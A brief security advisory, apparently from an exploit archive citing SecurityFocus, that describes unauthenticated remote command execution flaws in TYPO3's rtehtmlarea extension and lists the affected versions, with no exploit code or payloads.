Typo3 3.7/3.8/4.0 Class.TX_RTEHTMLArea_PI1.PHP Multiple Remote Command Execution Vulnerabilities

                                                source: http://www.securityfocus.com/bid/21680/info

TYPO3 is prone to multiple vulnerabilities that allow attackers to execute arbitrary commands. This issue occurs because the application fails to properly sanitize user-supplied data.

Exploiting these issues allows unauthenticated attackers to execute arbitrary system commands with the privileges of the application.

Versions 4.0 to 4.0.3 and 4.1beta are vulnerable; versions 3.7 and 3.8 are also vulnerable if they have the optional 'rtehtmlarea' extension installed.
